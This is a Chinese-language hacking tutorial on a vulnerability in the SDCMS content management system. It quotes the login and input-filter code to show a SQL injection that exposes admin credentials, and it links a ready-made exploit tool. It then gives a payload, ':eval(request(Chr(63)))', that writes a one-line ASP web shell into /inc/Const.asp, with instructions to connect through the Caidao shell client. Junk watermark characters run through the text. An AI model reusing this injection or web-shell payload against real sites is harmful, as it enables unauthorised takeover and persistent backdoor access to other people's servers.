SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
漏洞文件：后台目录/index.asp

* A2 n$ S% K5 P6 ?7 E, LSub Check
    Dim username,password,code,getcode,Rs
. L2 L- D) P. B) O2 c    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
    getcode=Session("SDCMSCode")
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
$ q( w8 U, b( y9 X% N& A- G: D    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
' e9 O+ h9 x! A) j3 ?; W6 q$ S6 E& n    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
) l# s, ^9 c# G6 z        Echo "用户名或密码不能为空"ied
    Else
/ e4 `7 k8 {  I        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
% R* u* p$ N% \+ S# p2 _' T        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
            Add_Cookies "sdcms_id",Rs(0)
' \- R% X- r4 ]; e' |0 f. W. n            Add_Cookies "sdcms_name",username
            Add_Cookies "sdcms_pwd",Rs(2)
            Add_Cookies "sdcms_admin",Rs(3)
2 r' l9 p/ o; K! R1 m* q            Add_Cookies "sdcms_alllever",Rs(4)
( u6 W. k1 K& j            Add_Cookies "sdcms_infolever",Rs(5)
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
            Else
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
5 k  @" N4 J2 u            End IF
            Go("sdcms_index.asp")
        End IF
        Rs.Close
        Set Rs=Nothing
    End IF
End Sub
6 j4 k6 e! ]; k) X) i, K6 r4 Z
, S9 |6 Z' O3 x6 {4 v, y’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

2 n4 o7 c3 }3 s. ~' n/ c3 i. q3 NFunction FilterText(ByVal t0,ByVal t1)
( h7 \3 K4 a, E7 s    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
# B' Z9 y& @4 O7 a    t0=Trim(t0)
9 d& Y" l  {; x7 P; @    Select Case t1
        Case "1"
            t0=Replace(t0,Chr(32),"")
            t0=Replace(t0,Chr(13),"")
1 a, z- E1 x% r( O            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
        Case "2"
! t" ?% x- ]8 z6 p            t0=Replace(t0,Chr(8),"")'回格
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
7 ]4 T0 ^/ w1 j2 m- f0 {; G            t0=Replace(t0,Chr(10),"")'换行
4 O. j# R0 \7 `& D* d" z            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
( T' c7 n6 V+ k            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
) |6 h9 W  @7 ?' P! ]. ^            t0=Replace(t0,Chr(22),"")
; M4 C3 a. G0 L3 X' C+ J            t0=Replace(t0,Chr(32),"")'空格 SPACE
            t0=Replace(t0,Chr(33),"")'!
            t0=Replace(t0,Chr(34),"")'"
* j! I' r' q: v% T4 [/ L& ^            t0=Replace(t0,Chr(35),"")'#
, r( J1 Y# {+ c/ n2 J0 b            t0=Replace(t0,Chr(36),"")'$
) i3 d, M0 N7 d2 K: V            t0=Replace(t0,Chr(37),"")'%
* L( R/ k; v1 ]' f            t0=Replace(t0,Chr(38),"")'&
            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
            t0=Replace(t0,Chr(41),"")')
            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
            t0=Replace(t0,Chr(44),"")',
            t0=Replace(t0,Chr(45),"")'-
            t0=Replace(t0,Chr(46),"")'.
* w# X" |$ F/ g1 P' M            t0=Replace(t0,Chr(47),"")'/
) }5 o' S6 K. r; R3 S            t0=Replace(t0,Chr(58),"")':
            t0=Replace(t0,Chr(59),"")';
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
1 t# G2 Z8 ~: |/ N. p            t0=Replace(t0,Chr(63),"")'?
3 U) t' ~1 K5 w- s& S, L; G            t0=Replace(t0,Chr(64),"")'@
            t0=Replace(t0,Chr(91),"")'\
! Q4 H  S& W) M5 J" O. A7 A& b; t            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
' M! U% P; J2 O# d) }            t0=Replace(t0,Chr(95),"")'_
- d' S3 V2 f& h! z1 k            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
  t/ e/ e' b- N& V0 N$ A8 }$ K            t0=Replace(t0,Chr(124),"")'|
            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
% S# P% e4 f6 u, ], j& I    Case Else
/ M- j* Y! R, m& n/ Z        t0=Replace(t0, "&", "&")
        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
& M! ~) i  [! T# v& [+ h; c        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
+ g8 F( ?# N9 y8 J0 T1 j    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
2 m9 f3 e  d4 X' _    FilterText=t0
' A$ G4 N( S5 K3 z* Q" aEnd Function

  e7 o, t- ^8 Y/ x2 ?3 y" }看到没。直接参数是1 只过滤
                        t0=Replace(t0,Chr(32)," ")
                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
")
% Y3 _2 l4 }9 _* L4 Y  ~1 i                        t0=Replace(t0,Chr(10),"
")
, E0 b" ^! Z3 S$ h6 k& X, S  J9 W漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
  m( J# p0 `  w% o, BEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
2 n, P. N, i" |9 x
测试:

3 Y! i& \2 b2 D! ^) b6 ^+ f
3 H; C4 _7 n) r% B0 F. _  S现在输入工具上验证码,然后点OK


3 M% T% ]1 O5 R9 ^看到我们直接进入后台管理界面了,呵呵!

  o8 {  @' f2 U5 D' K  x- V9 s( f+ N
0 v9 y" x6 v6 s
这样直接进入后台了。。。。

- ]3 h# C0 Q2 @- n  V1 W
6 q. N3 D1 D; `( ~& O
2 o* ?% e* Z$ o- `6 @4 kSDCMS提权:
, y3 r0 {) M6 M* a
* s; b7 Y( T1 s  T) j. S% G1 a, A方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
8 M  i% Q$ `! R5 ]  ~; q! l
6 I) K) U3 K* ^+ `

OK,现在用菜刀连接下!
; r8 p2 o7 M0 J  Z

9 }& v: d7 O! y' b

& i- {* g. G5 }" e: I& \8 q
' X; d6 f2 T  d: J8 Z6 \